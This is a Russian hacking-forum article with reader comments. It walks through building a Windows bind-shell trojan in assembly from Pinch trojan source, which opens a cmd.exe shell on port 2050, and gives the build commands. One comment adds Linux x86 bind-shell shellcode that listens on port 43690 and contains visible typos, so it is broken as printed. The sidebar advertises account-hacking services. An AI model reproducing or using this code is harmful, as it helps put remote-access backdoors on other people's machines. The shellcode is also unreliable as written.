Контакты

Для связи с нами можно использовать:
irc://irc.chatnet.ru:#gfs
icq://546460
email://cobalt[@]gfs-team.ru

Все материалы предоставлены только с ознакомительной целью
ГлавнаяСтатьиКодингТроян на ASM
© s0 13.12.2005

Поговорив с Нитрексом, решил написать эту статью. В ней я хочу показать, как можно без особых проблем написать Троян. Итак, наш Троян будет уметь лишь одно – это биндить(открывать) порт, и вешать на нем cmd.exe или command.com в зависимости от версии ОС.

Подумав, я решил не изобретать велосипед, а взять уже готовый код из Трояна Pinch. Код оформлен в виде модуля, и его можно без особых проблем использовать в своих программах. Так что скажем спасибо кабану, за его творение. Приступим.

Найдем где-нибудь исходники пинча. В них имеется файлик comsole.asm – это и есть нужный нам код. Теперь создадим файл troj.asm и пишем в него:

;**********************************************
.486 
.model flat, stdcall
option casemap :none 
;Тут мы подключаем необходимы файлы.
        include  ..\include\windows.inc 
        include  ..\include\user32.inc  
        include  ..\include\kernel32.inc 
        include  ..\include\wsock32.inc  
                           
        includelib ..\Lib\user32.lib   
        includelib ..\Lib\kernel32.lib 
        includelib ..\Lib\wsock32.lib  
;================================
.data
.data?
.code
;**********************************************

Это наш Каракас, на нем мы будем строить нашего Трояна... В принципе, все что нам надо сделать, это заинклудить файл console.asm и вызвать из него функцию StarSrv которая сделает всю остальную работу. Итак, добавляем в наш файл следующее:

;***********************************************
...
.data
lpBuf1          db      32768 dup(?) ; буфер
Port dd 2050 ; Порт
.data?
.code
include console.asm
start:                               ; с этой отметки
                                     ;начинается выполнение нашей программы
invoke  WSAStartup, 1, offset lpBuf1 ; нужно для работы с сокетами, вообще
;вместо lpBuf1 должнен стоять указатель на структуру WSADATA, но кабан сделал 
;именно так.
invoke StartSrv, Port                ;Вызываем StartSrv . 2050 – это порт который будет открыт.
end start                            ;Конец.
...
;***********************************************

Вот в принципе и все. Наш Троян готов, осталось скомпилировать и запустить.
- ml /c /coff -nologo troj.asm
- link /subsystem:windows -nologo /OPT:REF /SECTION:.text,ERW troj.obj

Вот тока мне не нравится размер получаемого файла - 35,5кб. Это монстр какой-то. Вероятно это происходит из-за подключаемой библиотеки wsock32.lib(42кб), а может у меня руки кривые =). Вот в принципе и все...

ЗЫ После сжатия файла пакером, получилось 1,44кб, но это тоже много... так что дерзайте...




© s0 13.12.2005

e-Commerce Partners Network
гость) написал:

>Вот тока мне не нравится размер получаемого файла - 35,5кб.Это монстр какой-то.
Вероятно это происходит из-за подключаемой библиотеки wsock32.lib(42кб), а может
у меня руки кривые =).

есле обьявить lpBuf1 в сегменте неинициализированных данных то все с размером будет в порядке.

Dark Angel написал:

гость): - скорее wsock32.lib

Батя написал:

Ты долбаёб просто

m0rsik написал:

>ЗЫ После сжатия файла пакером, получилось 1,44кб, но это тоже много... так что дерзайте...
меньше ты получишь только на 16bit языке ассемблера. Но там сложнее реализовать win32 api с помощью одних лишь прерываний. Код будет громоздкий но в итоге программа будет маленькой(Я не пробовал еще написать, но думаю без упаковки будет весить 500 байт(у меня есть аналог этого трояна, только для Linux(используется как shellcode))
bits 32
xor eax, eax
xor ebx, ebx
cdq

push eax; lol случайно написал bush(мозги окончательно тупят)
push byte 1
push byte 2
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov esi, eax

push edx
push long 0xaaaa02aa
mov ecx, esp
push byte 16
push ecx
push esi
mov ecx,esp
inc bl
mov, 102
int 0x80

push edx
push esi
mov ecx, esp
mov bl, 4
mov al, 102
int 0x80

push edx
push edx
push ise
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov ebx, eax

xor ecx, eax
mov cl, 3
100p:
dec, cl
mov al, 63
int 0x80
jnz 100p

push edx
push long 0x68732f6e
push long 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 11
int 0x80
;ассемблируется на NASM'e
;шеллкодец получается всего 96 байт
;привязывающий шеллкод. Слушает порт 43690

RedOdept написал:

Подумав, я решил не изобретать велосипед, а взять уже готовый код из Трояна Pinc

дальше не читал.
илита блядь, слов нет.

Ник:

Текст:
P Br B I Qute



Код: обновить
Последние комментарии
24.06.2017 21:15:55 DeweyAloma написал:
If you have a desire to learn how to earn from...
Ручная распаковка NeoLite 2.0
24.06.2017 14:43:35 Issacpam написал:
Ckaйп evg7773 Ламинин +38097-613-1437 Laminine LPGN в Хуст Закарпатье 28 usd...
Взлом домофонов
21.06.2017 04:39:52 PRO написал:
Взлом и подбор паролей на почтовых сервисах и социальных сетях. Работаем со всеми...
Взлом E-mail (email, почты, мыла)
Реклама

Тут должна была быть ваша реклама, но мы потеряли глиняную табличку с ее текстом. SapeId: 665044

Rambler's Top100